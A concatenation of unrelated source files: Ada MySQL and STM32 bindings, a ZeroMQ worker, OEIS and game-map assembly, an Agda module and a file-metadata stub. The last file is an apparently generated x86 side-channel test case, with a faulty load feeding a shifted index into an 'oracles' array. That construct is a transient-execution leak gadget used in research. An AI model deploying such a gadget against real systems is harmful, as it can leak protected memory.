-- command ( as in LOAD TABLE ... FROM MASTER ),
-- and do not want to confuse the client with OK at the wrong time
--
-- For SPs and other things that do multiple stmts
-- For SPs' first version read-only cursors
-- Set if OK packet is already sent, and we do not need to send error
-- messages
--
-- Pointer to query object in query cache, do not equal NULL (0) for
-- queries in cache that have not stored its results yet
--
-- 'query_cache_query' should be accessed only via query cache
-- functions and methods to maintain proper locking.
--
-- We should report error (we have unreported error)
subtype NET is st_net;
subtype enum_field_types is unsigned;
MYSQL_TYPE_DECIMAL : constant enum_field_types := 0;
MYSQL_TYPE_TINY : constant enum_field_types := 1;
MYSQL_TYPE_SHORT : constant enum_field_types := 2;
MYSQL_TYPE_LONG : constant enum_field_types := 3;
MYSQL_TYPE_FLOAT : constant enum_field_types := 4;
MYSQL_TYPE_DOUBLE : constant enum_field_types := 5;
MYSQL_TYPE_NULL : constant enum_field_types := 6;
MYSQL_TYPE_TIMESTAMP : constant enum_field_types := 7;
MYSQL_TYPE_LONGLONG : constant enum_field_types := 8;
MYSQL_TYPE_INT24 : constant enum_field_types := 9;
MYSQL_TYPE_DATE : constant enum_field_types := 10;
MYSQL_TYPE_TIME : constant enum_field_types := 11;
MYSQL_TYPE_DATETIME : constant enum_field_types := 12;
MYSQL_TYPE_YEAR : constant enum_field_types := 13;
MYSQL_TYPE_NEWDATE : constant enum_field_types := 14;
MYSQL_TYPE_VARCHAR : constant enum_field_types := 15;
MYSQL_TYPE_BIT : constant enum_field_types := 16;
MYSQL_TYPE_NEWDECIMAL : constant enum_field_types := 246;
MYSQL_TYPE_ENUM : constant enum_field_types := 247;
MYSQL_TYPE_SET : constant enum_field_types := 248;
MYSQL_TYPE_TINY_BLOB : constant enum_field_types := 249;
MYSQL_TYPE_MEDIUM_BLOB : constant enum_field_types := 250;
MYSQL_TYPE_LONG_BLOB : constant enum_field_types := 251;
MYSQL_TYPE_BLOB : constant enum_field_types := 252;
MYSQL_TYPE_VAR_STRING : constant enum_field_types := 253;
MYSQL_TYPE_STRING : constant enum_field_types := 254;
MYSQL_TYPE_GEOMETRY : constant enum_field_types := 255; -- /usr/include/mysql/mysql_com.h:226:6
-- For backward compatibility
-- Shutdown/kill enums and constants
-- Bits for THD::killable.
subtype mysql_enum_shutdown_level is unsigned;
SHUTDOWN_DEFAULT : constant mysql_enum_shutdown_level := 0;
SHUTDOWN_WAIT_CONNECTIONS : constant mysql_enum_shutdown_level := 1;
SHUTDOWN_WAIT_TRANSACTIONS : constant mysql_enum_shutdown_level := 2;
SHUTDOWN_WAIT_UPDATES : constant mysql_enum_shutdown_level := 8;
SHUTDOWN_WAIT_ALL_BUFFERS : constant mysql_enum_shutdown_level := 16;
SHUTDOWN_WAIT_CRITICAL_BUFFERS : constant mysql_enum_shutdown_level := 17;
KILL_QUERY : constant mysql_enum_shutdown_level := 254;
KILL_CONNECTION : constant mysql_enum_shutdown_level := 255; -- /usr/include/mysql/mysql_com.h:288:6
-- We want levels to be in growing order of hardness (because we use number
-- comparisons). Note that DEFAULT does not respect the growing property, but
-- it's ok.
--
-- wait for existing connections to finish
-- wait for existing trans to finish
-- wait for existing updates to finish (=> no partial MyISAM update)
-- flush InnoDB buffers and other storage engines' buffers
-- don't flush InnoDB buffers, flush other storage engines' buffers
-- Now the 2 levels of the KILL command
subtype enum_cursor_type is unsigned;
CURSOR_TYPE_NO_CURSOR : constant enum_cursor_type := 0;
CURSOR_TYPE_READ_ONLY : constant enum_cursor_type := 1;
CURSOR_TYPE_FOR_UPDATE : constant enum_cursor_type := 2;
CURSOR_TYPE_SCROLLABLE : constant enum_cursor_type := 4; -- /usr/include/mysql/mysql_com.h:314:1
-- options for mysql_set_option
subtype enum_mysql_set_option is unsigned;
MYSQL_OPTION_MULTI_STATEMENTS_ON : constant enum_mysql_set_option := 0;
MYSQL_OPTION_MULTI_STATEMENTS_OFF : constant enum_mysql_set_option := 1; -- /usr/include/mysql/mysql_com.h:324:1
function my_net_init (arg1 : access st_net; arg2 : System.Address) return char; -- /usr/include/mysql/mysql_com.h:335:9
pragma Import (C, my_net_init, "my_net_init");
procedure my_net_local_init (arg1 : access st_net); -- /usr/include/mysql/mysql_com.h:336:6
pragma Import (C, my_net_local_init, "my_net_local_init");
procedure net_end (arg1 : access st_net); -- /usr/include/mysql/mysql_com.h:337:6
pragma Import (C, net_end, "net_end");
procedure net_clear (arg1 : access st_net); -- /usr/include/mysql/mysql_com.h:338:6
pragma Import (C, net_clear, "net_clear");
function net_realloc (arg1 : access st_net; arg2 : unsigned_long) return char; -- /usr/include/mysql/mysql_com.h:339:9
pragma Import (C, net_realloc, "net_realloc");
function net_flush (arg1 : access st_net) return char; -- /usr/include/mysql/mysql_com.h:340:9
pragma Import (C, net_flush, "net_flush");
function my_net_write
(arg1 : access st_net;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : unsigned_long) return char; -- /usr/include/mysql/mysql_com.h:341:9
pragma Import (C, my_net_write, "my_net_write");
function net_write_command
(arg1 : access st_net;
arg2 : unsigned_char;
arg3 : Interfaces.C.Strings.chars_ptr;
arg4 : unsigned_long;
arg5 : Interfaces.C.Strings.chars_ptr;
arg6 : unsigned_long) return char; -- /usr/include/mysql/mysql_com.h:342:9
pragma Import (C, net_write_command, "net_write_command");
function net_real_write
(arg1 : access st_net;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : unsigned_long) return int; -- /usr/include/mysql/mysql_com.h:345:5
pragma Import (C, net_real_write, "net_real_write");
function my_net_read (arg1 : access st_net) return unsigned_long; -- /usr/include/mysql/mysql_com.h:346:15
pragma Import (C, my_net_read, "my_net_read");
-- The following function is not meant for normal usage
-- Currently it's used internally by manager.c
--
-- skipped empty struct sockaddr
function my_connect
(arg1 : my_socket;
arg2 : System.Address;
arg3 : unsigned;
arg4 : unsigned) return int; -- /usr/include/mysql/mysql_com.h:358:5
pragma Import (C, my_connect, "my_connect");
type rand_struct is record
seed1 : aliased unsigned_long;
seed2 : aliased unsigned_long;
max_value : aliased unsigned_long;
max_value_dbl : aliased double;
end record;
pragma Convention (C, rand_struct);
-- The following is for user defined functions
subtype Item_result is unsigned;
STRING_RESULT : constant Item_result := 0;
REAL_RESULT : constant Item_result := 1;
INT_RESULT : constant Item_result := 2;
ROW_RESULT : constant Item_result := 3;
DECIMAL_RESULT : constant Item_result := 4;
-- Number of arguments
type st_udf_args is record
arg_count : aliased unsigned;
arg_type : access Item_result;
args : System.Address;
lengths : access unsigned_long;
maybe_null : Interfaces.C.Strings.chars_ptr;
attributes : System.Address;
attribute_lengths : access unsigned_long;
end record;
pragma Convention (C, st_udf_args);
-- Pointer to item_results
-- Pointer to argument
-- Length of string arguments
-- Set to 1 for all maybe_null args
-- Pointer to attribute name
-- Length of attribute arguments
subtype UDF_ARGS is st_udf_args;
-- This holds information about the result
-- 1 if function can return NULL
type st_udf_init is record
maybe_null : aliased char;
decimals : aliased unsigned;
max_length : aliased unsigned_long;
ptr : Interfaces.C.Strings.chars_ptr;
const_item : aliased char;
end record;
pragma Convention (C, st_udf_init);
-- for real functions
-- For string functions
-- free pointer for function data
-- 1 if function always returns the same value
subtype UDF_INIT is st_udf_init;
--
-- TODO: add a notion for determinism of the UDF.
-- See Item_udf_func::update_used_tables ()
--
-- Constants when using compression
-- Prototypes to password functions
-- These functions are used for authentication by client and server and
-- implemented in sql/password.c
--
procedure randominit
(arg1 : access rand_struct;
arg2 : unsigned_long;
arg3 : unsigned_long);
pragma Import (C, randominit, "randominit");
function my_rnd (arg1 : access rand_struct) return double;
pragma Import (C, my_rnd, "my_rnd");
procedure create_random_string
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : unsigned;
arg3 : access rand_struct);
pragma Import (C, create_random_string, "create_random_string");
procedure hash_password
(arg1 : access unsigned_long;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : unsigned);
pragma Import (C, hash_password, "hash_password");
procedure Make_Scrambled_Password_323 (Arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, make_scrambled_password_323, "make_scrambled_password_323");
procedure scramble_323
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, scramble_323, "scramble_323");
function check_scramble_323
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : access unsigned_long) return char;
pragma Import (C, check_scramble_323, "check_scramble_323");
procedure Get_Salt_From_Password_323 (Arg1 : access Unsigned_Long;
arg2 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, get_salt_from_password_323, "get_salt_from_password_323");
procedure Make_Password_From_Salt_323 (Arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : access unsigned_long);
pragma Import (C, make_password_from_salt_323, "make_password_from_salt_323");
procedure Make_Scrambled_Password (Arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, make_scrambled_password, "make_scrambled_password");
procedure scramble
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, scramble, "scramble");
function check_scramble
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : access unsigned_char) return char;
pragma Import (C, check_scramble, "check_scramble");
procedure Get_Salt_From_Password (Arg1 : access Unsigned_Char;
arg2 : Interfaces.C.Strings.chars_ptr);
pragma Import (C, get_salt_from_password, "get_salt_from_password");
procedure Make_Password_From_Salt (Arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : access unsigned_char);
pragma Import (C, make_password_from_salt, "make_password_from_salt");
function octet2hex
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : unsigned) return Interfaces.C.Strings.chars_ptr;
pragma Import (C, octet2hex, "octet2hex");
-- end of password.c
function Get_Tty_Password (Arg1 : Interfaces.C.Strings.chars_ptr)
return Interfaces.C.Strings.chars_ptr;
pragma Import (C, get_tty_password, "get_tty_password");
function mysql_errno_to_sqlstate (arg1 : unsigned) return Interfaces.C.Strings.chars_ptr;
pragma Import (C, mysql_errno_to_sqlstate, "mysql_errno_to_sqlstate");
-- Some other useful functions
function my_init return char;
pragma Import (C, my_init, "my_init");
function modify_defaults_file
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : Interfaces.C.Strings.chars_ptr;
arg3 : Interfaces.C.Strings.chars_ptr;
arg4 : Interfaces.C.Strings.chars_ptr;
arg5 : int) return int;
pragma Import (C, modify_defaults_file, "modify_defaults_file");
function load_defaults
(arg1 : Interfaces.C.Strings.chars_ptr;
arg2 : System.Address;
arg3 : access int;
arg4 : System.Address) return int;
pragma Import (C, load_defaults, "load_defaults");
function my_thread_init return char;
pragma Import (C, my_thread_init, "my_thread_init");
procedure my_thread_end;
pragma Import (C, my_thread_end, "my_thread_end");
end Mysql.Com ;
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/cmap.asm | prismotizm/gigaleak | 0 | 22658 | <reponame>prismotizm/gigaleak<filename>other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/cmap.asm
Name: cmap.asm
Type: file
Size: 512
Last-Modified: '1991-12-16T11:05:59Z'
SHA-1: 15E8DAC6C2C92BCC4357ED0117D16B758EFAE984
Description: null
|
oeis/085/A085441.asm | neoneye/loda-programs | 11 | 20690 | <filename>oeis/085/A085441.asm
; A085441: a(n) = Sum_{i=1..n} binomial(i+1,2)^6.
; 1,730,47386,1047386,12438011,98204132,580094436,2756876772,11060642397,38741283022,121395233038,346594833742,914464085783,2254559726408,5240543726408,11568062614344,24395756421273,49397866465794,96443747465794,182209868465794,334149783550675,596404391103404,1038437187083180,1767437187083180,2945857353098805,4815862056188406,7732958575251510,12211702184360566,18987111575126191,29096333191516816,43986174148448912,65653411221443216,96826308434470577,141197571798236202,203721074007236202
lpb $0
mov $2,$0
sub $0,1
add $2,2
bin $2,2
pow $2,6
add $1,$2
lpe
add $1,1
mov $0,$1
|
ada-io_exceptions.ads | mgrojo/adalib | 15 | 24614 | <filename>ada-io_exceptions.ads
-- Standard Ada library specification
-- Copyright (c) 2003-2018 <NAME> <<EMAIL>>
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.IO_Exceptions is
pragma Pure (IO_Exceptions);
Status_Error : exception;
Mode_Error : exception;
Name_Error : exception;
Use_Error : exception;
Device_Error : exception;
End_Error : exception;
Data_Error : exception;
Layout_Error : exception;
end Ada.IO_Exceptions;
|
examples/src/rrworker.adb | sonneveld/adazmq | 0 | 5984 | -- Hello World worker
-- Connects REP socket to tcp://localhost:5560
-- Expects "Hello" from client, replies with "World"
with Ada.Command_Line;
with Ada.Text_IO;
with GNAT.Formatted_String;
with Ada.Calendar;
with ZMQ;
procedure RRWorker is
use type Ada.Calendar.Time;
use type GNAT.Formatted_String.Formatted_String;
function Main return Ada.Command_Line.Exit_Status
is
Context : ZMQ.Context_Type := ZMQ.New_Context;
-- Socket to talk to clients
Responder : ZMQ.Socket_Type'Class := Context.New_Socket (ZMQ.ZMQ_REP);
begin
Responder.Connect ("tcp://localhost:5560");
loop
declare
Msg : String := Responder.Recv;
begin
Ada.Text_IO.Put_Line (-(+("Received reply [%s]")&Msg));
end;
-- Do some 'work'
delay 1.0;
-- Send reply back to client
Responder.Send ("World");
end loop;
-- We never get here, but clean up anyhow
Responder.Close;
Context.Term;
return 0;
end Main;
begin
Ada.Command_Line.Set_Exit_Status (Main);
end RRWorker;
|
bb-runtimes/runtimes/zfp-stm32g474/gnat/s-stm32.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 8825 | <gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- Copyright (C) 2012-2016, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Interfaces.STM32;
package System.STM32 is
pragma No_Elaboration_Code_All;
pragma Preelaborate (System.STM32);
subtype Frequency is Interfaces.STM32.UInt32;
-- See RM0440 rev. 6 pg. 276 chapter 7.2, and pg. 279 for clock tree
type RCC_System_Clocks is record
SYSCLK : Frequency;
HCLK : Frequency;
PCLK1 : Frequency;
PCLK2 : Frequency;
TIMCLK1 : Frequency; -- For TIMs 2 .. 7
TIMCLK2 : Frequency; -- For TIMs 1, 8, 20, 15 .. 17, HRTIM1
TIMCLK3 : Frequency; -- For LPTIMs 1 .. 2
end record;
function System_Clocks return RCC_System_Clocks;
-- MODER constants
subtype GPIO_MODER_Values is Interfaces.STM32.UInt2;
Mode_IN : constant GPIO_MODER_Values := 0;
Mode_OUT : constant GPIO_MODER_Values := 1;
Mode_AF : constant GPIO_MODER_Values := 2;
Mode_AN : constant GPIO_MODER_Values := 3;
-- OTYPER constants
subtype GPIO_OTYPER_Values is Interfaces.STM32.Bit;
Push_Pull : constant GPIO_OTYPER_Values := 0;
Open_Drain : constant GPIO_OTYPER_Values := 1;
-- OSPEEDR constants
subtype GPIO_OSPEEDR_Values is Interfaces.STM32.UInt2;
Speed_2MHz : constant GPIO_OSPEEDR_Values := 0; -- Low speed
Speed_25MHz : constant GPIO_OSPEEDR_Values := 1; -- Medium speed
Speed_50MHz : constant GPIO_OSPEEDR_Values := 2; -- Fast speed
Speed_100MHz : constant GPIO_OSPEEDR_Values := 3; -- High speed
-- PUPDR constants
subtype GPIO_PUPDR_Values is Interfaces.STM32.UInt2;
No_Pull : constant GPIO_PUPDR_Values := 0;
Pull_Up : constant GPIO_PUPDR_Values := 1;
Pull_Down : constant GPIO_PUPDR_Values := 2;
-- AFL constants
AF_USART1 : constant Interfaces.STM32.UInt4 := 7;
AF_USART3 : constant Interfaces.STM32.UInt4 := 7;
type MCU_ID_Register is record
DEV_ID : Interfaces.STM32.UInt12;
Reserved : Interfaces.STM32.UInt4;
REV_ID : Interfaces.STM32.UInt16;
end record with Pack, Size => 32;
-- RCC constants
type PLL_Source is
(PLL_SRC_HSI,
PLL_SRC_HSE)
with Size => 2;
for PLL_Source use
(PLL_SRC_HSI => 2#10#,
PLL_SRC_HSE => 2#11#);
type SYSCLK_Source is
(SYSCLK_SRC_HSI,
SYSCLK_SRC_HSE,
SYSCLK_SRC_PLL)
with Size => 2;
for SYSCLK_Source use
(SYSCLK_SRC_HSI => 2#01#,
SYSCLK_SRC_HSE => 2#10#,
SYSCLK_SRC_PLL => 2#11#);
type AHB_Prescaler_Enum is
(DIV2, DIV4, DIV8, DIV16,
DIV64, DIV128, DIV256, DIV512)
with Size => 3;
type AHB_Prescaler is record
Enabled : Boolean := False;
Value : AHB_Prescaler_Enum := AHB_Prescaler_Enum'First;
end record with Size => 4;
for AHB_Prescaler use record
Enabled at 0 range 3 .. 3;
Value at 0 range 0 .. 2;
end record;
AHBPRE_DIV1 : constant AHB_Prescaler := (Enabled => False, Value => DIV2);
type APB_Prescaler_Enum is
(DIV2, DIV4, DIV8, DIV16)
with Size => 2;
type APB_Prescaler is record
Enabled : Boolean;
Value : APB_Prescaler_Enum;
end record with Size => 3;
for APB_Prescaler use record
Enabled at 0 range 2 .. 2;
Value at 0 range 0 .. 1;
end record;
type MCO_Clock_Source is
(MCOSEL_Disabled,
MCOSEL_SYSCLK,
MCOSEL_HSI,
MCOSEL_HSE,
MCOSEL_PLL,
MCOSEL_LSI,
MCOSEL_LSE,
MCOSEL_HSI48)
with Size => 4;
for MCO_Clock_Source use
(MCOSEL_Disabled => 2#0000#,
MCOSEL_SYSCLK => 2#0001#,
MCOSEL_HSI => 2#0011#,
MCOSEL_HSE => 2#0100#,
MCOSEL_PLL => 2#0101#,
MCOSEL_LSI => 2#0110#,
MCOSEL_LSE => 2#0111#,
MCOSEL_HSI48 => 2#1000#);
type MCO_Prescaler is
(MCOPRE_DIV1,
MCOPRE_DIV2,
MCOPRE_DIV4,
MCOPRE_DIV8,
MCOPRE_DIV16)
with Size => 3;
for MCO_Prescaler use
(MCOPRE_DIV1 => 2#000#,
MCOPRE_DIV2 => 2#001#,
MCOPRE_DIV4 => 2#010#,
MCOPRE_DIV8 => 2#011#,
MCOPRE_DIV16 => 2#100#);
-- Constants for RCC CR register
subtype PLLM_Range is Integer range 1 .. 16;
subtype PLLN_Range is Integer range 8 .. 127;
subtype PLLP_Range is Integer range 2 .. 31;
subtype PLLQ_Range is Integer range 2 .. 8
with Static_Predicate => (case PLLQ_Range is
when 2 | 4 | 6 | 8 => True,
when others => False);
subtype PLLR_Range is Integer range 2 .. 8
with Static_Predicate => (case PLLR_Range is
when 2 | 4 | 6 | 8 => True,
when others => False);
subtype HSECLK_Range is Integer range 4_000_000 .. 48_000_000;
subtype PLLM_OUT_Range is Integer range 2_660_000 .. 16_000_000;
subtype PLLN_OUT_Range is Integer range 96_000_000 .. 344_000_000;
subtype PLLP_OUT_Range is Integer range 1_000_000 .. 170_000_000;
subtype PLLQ_OUT_Range is Integer range 47_880_000 .. 48_120_000;
subtype PLLCLK_Range is Integer range 8_000_000 .. 170_000_000;
subtype SYSCLK_Range is Integer range 1 .. 170_000_000;
subtype HCLK_Range is Integer range 1 .. 170_000_000;
subtype PCLK1_Range is Integer range 1 .. 170_000_000;
subtype PCLK2_Range is Integer range 1 .. 170_000_000;
-- Constants for Flash Latency
-- with VCORE Range 1 boost mode | Range 1 normal mode
-- 000: Zero wait state 0 < HCLK ≤ 34 MHz | 0 < HCLK ≤ 30 MHz
-- 001: One wait state 34 < HCLK ≤ 68 MHz | 30 < HCLK ≤ 60 MHz
-- 010: Two wait sates 68 < HCLK ≤ 102 MHz | 60 < HCLK ≤ 90 MHz
-- 011: Three wait sates 102 < HCLK ≤ 136 MHz | 90 < HCLK ≤ 120 MHz
-- 100: Four wait sates 136 < HCLK ≤ 170 MHz | 120 < HCLK ≤ 150 MHz
-- RM0440 STM32G474 pg. 97 chapter 3.3.3 and pg. 129 chapter 3.7.1
subtype FLASH_Latency_0 is Integer range 1 .. 34_000_000;
subtype FLASH_Latency_1 is Integer range 35_000_000 .. 68_000_000;
subtype FLASH_Latency_2 is Integer range 69_000_000 .. 102_000_000;
subtype FLASH_Latency_3 is Integer range 103_000_000 .. 136_000_000;
subtype FLASH_Latency_4 is Integer range 137_000_000 .. 170_000_000;
-- Flash wait states
type FLASH_WS is (FWS0, FWS1, FWS2, FWS3, FWS4)
with Size => 4;
FLASH_Latency : Interfaces.STM32.UInt4 := FLASH_WS'Enum_Rep (FWS4);
-- These internal low and high speed clocks are fixed (do not modify)
HSICLK : constant := 16_000_000;
HSI48CLK : constant := 48_000_000;
LSICLK : constant := 32_000;
MCU_ID : MCU_ID_Register
with Volatile, Address => System'To_Address (16#E004_2000#);
-- Only 32-bits access supported (read-only) RM0440 pg. 2086 chapter 47.6.1
DEV_ID_STM32F40xxx : constant := 16#413#; -- STM32F40xxx/41xxx
DEV_ID_STM32F42xxx : constant := 16#419#; -- STM32F42xxx/43xxx
DEV_ID_STM32F46xxx : constant := 16#434#; -- STM32F469xx/479xx
DEV_ID_STM32F74xxx : constant := 16#449#; -- STM32F74xxx/75xxx
DEV_ID_STM32F76xxx : constant := 16#451#; -- STM32F76xxx/77xxx
DEV_ID_STM32F334xx : constant := 16#438#; -- STM32F334xx
DEV_ID_STM32G474x2 : constant := 16#468#; -- STM32G474xx category 2
DEV_ID_STM32G474x3 : constant := 16#469#; -- STM32G474xx category 3
DEV_ID_STM32G474x4 : constant := 16#479#; -- STM32G474xx category 4
end System.STM32;
|
Numeral/Natural/Oper/Summation/Range.agda | Lolirofle/stuff-in-agda | 6 | 15394 | module Numeral.Natural.Oper.Summation.Range where
import Lvl
open import Data.List
open import Data.List.Functions
open import Numeral.Natural
open import Type
_‥_ : ℕ → ℕ → List(ℕ)
_ ‥ 𝟎 = ∅
𝟎 ‥ 𝐒 b = 𝟎 ⊰ map 𝐒(𝟎 ‥ b)
𝐒 a ‥ 𝐒 b = map 𝐒(a ‥ b)
‥_ : ℕ → List(ℕ)
‥ b = 𝟎 ‥ b
_‥₌_ : ℕ → ℕ → List(ℕ)
a ‥₌ b = a ‥ 𝐒(b)
‥₌_ : ℕ → List(ℕ)
‥₌ b = 𝟎 ‥₌ b
|
data/maps/headers/RocketHideoutB2F.asm | opiter09/ASM-Machina | 1 | 170838 | <reponame>opiter09/ASM-Machina
map_header RocketHideoutB2F, ROCKET_HIDEOUT_B2F, FACILITY, 0
end_map_header
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_0.asm | ljhsiun2/medusa | 9 | 241948 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x15e1b, %rax
nop
nop
nop
nop
xor $9534, %r13
vmovups (%rax), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r10
inc %r11
lea addresses_normal_ht+0x15465, %r13
clflush (%r13)
add %rdx, %rdx
movups (%r13), %xmm7
vpextrq $0, %xmm7, %r14
nop
nop
nop
xor $3159, %rax
lea addresses_A_ht+0x1d8db, %rax
nop
nop
nop
nop
nop
xor $37822, %rdx
mov (%rax), %r14
nop
nop
nop
dec %r10
lea addresses_A_ht+0xe0ef, %rax
nop
and %r15, %r15
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
add $26769, %r14
lea addresses_D_ht+0x1a27, %r11
nop
add %r15, %r15
movb (%r11), %r10b
nop
nop
nop
and $27285, %r15
lea addresses_WC_ht+0x12d9b, %r13
nop
nop
nop
add $40448, %r15
mov (%r13), %r10d
nop
nop
nop
nop
nop
and %r15, %r15
lea addresses_UC_ht+0x7743, %rsi
lea addresses_UC_ht+0x719b, %rdi
nop
nop
nop
nop
add $9028, %r11
mov $63, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $11301, %rax
lea addresses_A_ht+0xd15b, %rsi
lea addresses_UC_ht+0x11b9b, %rdi
nop
nop
sub $60865, %r14
mov $67, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_A_ht+0x152f6, %r11
nop
nop
nop
nop
add %r13, %r13
mov (%r11), %di
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x15263, %r14
nop
nop
nop
and %r15, %r15
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%r14)
and %rax, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x1196d, %rdi
nop
sub %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, %xmm0
movups %xmm0, (%rdi)
nop
nop
add %rdx, %rdx
// Store
lea addresses_UC+0x11fef, %rax
nop
nop
nop
sub %r8, %r8
movw $0x5152, (%rax)
nop
xor $19585, %r13
// REPMOV
lea addresses_RW+0x1a02b, %rsi
lea addresses_WT+0x1bf03, %rdi
sub %r9, %r9
mov $7, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r8, %r8
// Faulty Load
lea addresses_normal+0x1949b, %rcx
nop
add %rdx, %rdx
mov (%rcx), %r9d
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_RW'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'34': 21829}
